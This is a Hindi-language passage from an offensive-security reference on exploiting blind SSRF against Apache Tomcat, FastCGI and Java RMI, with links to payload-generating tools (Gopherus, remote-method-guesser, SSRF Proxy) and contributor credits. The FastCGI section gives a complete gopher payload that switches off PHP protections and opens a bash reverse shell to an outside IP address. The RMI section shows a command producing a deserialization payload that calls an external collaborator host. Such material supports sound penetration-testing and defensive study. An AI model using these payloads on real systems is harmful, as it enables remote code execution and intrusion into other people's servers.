## Apache Tomcat

**सामान्यतः बाइंड पोर्ट: 80,443 (SSL),8080,8443 (SSL)**

केवल Tomcat 6 पर प्रभावी:

[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)

इस तकनीक का उपयोग करने वाला CTF राइटअप:

[XXE से RCE तक: Pwn2Win CTF 2018 राइटअप](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)


<div id="fastcgi"></div>

## FastCGI

**सामान्यतः बाइंड पोर्ट: 80,443 (SSL)**

यह [यहाँ](https://blog.chaitin.cn/gopher-attack-surfaces/) से लिया गया था।```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

सामान्यतः बाउंड पोर्ट: 1090,1098,1099,1199,4443-4446,8999-9010,9999

ब्लाइंड SSRF कमजोरियाँ जो मनमाने बाइट्स (gopher आधारित) की अनुमति देती हैं, उनका उपयोग Java RMI डिफ़ॉल्ट घटकों (RMI Registry, Distributed Garbage Collector, Activation System) पर deserialization या codebase attacks करने के लिए किया जा सकता है। एक विस्तृत विवरण यहाँ पाया जा सकता है। निम्नलिखित सूची पेलोड जनरेशन का एक उदाहरण दिखाती है:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]

**Tools**

<div id="gopherus"></div>

## Gopherus

- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Gopherus पर ब्लॉग पोस्ट](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

यह टूल निम्नलिखित के लिए Gopher पेलोड उत्पन्न करता है:

- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache


<div id="remote-method-guesser"></div>

## remote-method-guesser

- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [SSRF उपयोग पर ब्लॉग पोस्ट](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

*remote-method-guesser* एक *Java RMI* भेद्यता स्कैनर है जो अधिकांश सामान्य *Java RMI*
भेद्यताओं के लिए आक्रमण संचालन का समर्थन करता है। उपलब्ध अधिकांश ऑपरेशन ``--ssrf`` विकल्प का समर्थन करते हैं, ताकि अनुरोधित ऑपरेशन के लिए *SSRF*
पेलोड उत्पन्न किया जा सके। ``--gopher`` विकल्प के साथ, सीधे उपयोग के लिए तैयार *gopher* पेलोड उत्पन्न किए जा सकते हैं।


<div id="ssrfproxy"></div>

## SSRF Proxy

- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे क्लाइंट HTTP ट्रैफ़िक को उन HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) के प्रति संवेदनशील हैं।

---

श्रेय:

इस पोस्ट में योगदान देने वाले निम्नलिखित लोगों को धन्यवाद:

- [@Rhynorater - इस ब्लॉग पोस्ट में अनेक योगदान](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - SSRF कैनरी अवधारणा](https://twitter.com/fransrosen)
- [@theabrahack - Jenkins Groovy के माध्यम से RCE](https://twitter.com/@theabrahack)
- [@qtc_de - Java RMI के माध्यम से RCE](https://twitter.com/qtc_de)

blind-ssrf-chains

सबसे लोकप्रिय